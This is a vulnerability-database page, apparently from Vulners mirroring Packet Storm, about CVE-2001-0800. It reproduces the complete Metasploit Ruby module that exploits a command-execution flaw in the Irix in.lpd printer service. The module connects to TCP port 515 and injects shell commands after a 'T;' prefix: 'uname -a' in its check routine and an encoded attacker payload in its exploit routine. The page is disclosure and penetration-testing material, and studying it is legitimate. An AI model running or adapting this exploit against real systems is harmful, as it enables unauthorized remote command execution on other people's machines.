Lucene search
K

Irix LPD tagprinter Command Execution

🗓️ 27 Oct 2009 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Irix LPD tagprinter Command Execution exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2001-0800
29 May 201815:50
circl
CVE
CVE-2001-0800
22 Nov 200105:00
cve
Cvelist
CVE-2001-0800
22 Nov 200105:00
cvelist
Exploit DB
Irix LPD tagprinter - Command Execution (Metasploit)
1 Sep 200100:00
exploitdb
Exploit DB
Irix LPD tagprinter Command Execution
6 Oct 201000:00
exploitdb
exploitpack
Irix LPD tagprinter - Command Execution (Metasploit)
1 Sep 200100:00
exploitpack
Metasploit
Irix LPD tagprinter Command Execution
5 Feb 200618:10
metasploit
NVD
CVE-2001-0800
6 Dec 200105:00
nvd
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Irix LPD tagprinter Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution flaw in  
the in.lpd service shipped with all versions of Irix.   
},  
'Author' => [ 'optyx', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2001-0800'],  
['OSVDB', '8573'],  
['URL', 'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],  
],  
'Privileged' => false,  
'Platform' => ['unix', 'irix'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 512,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet',  
}  
},   
'Targets' =>   
[  
[ 'Automatic Target', { }]  
],  
'DisclosureDate' => 'Sep 01 2001',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(515)  
], self.class)  
end  
  
def check  
connect  
sock.put("T;uname -a;\n")  
resp = sock.get_once  
disconnect  
  
if (resp =~ /IRIX/)  
print_status("Response: #{resp.strip}")  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
sock.put("T;#{payload.encoded};\n")  
handler  
print_status("Payload: #{payload.encoded}")  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation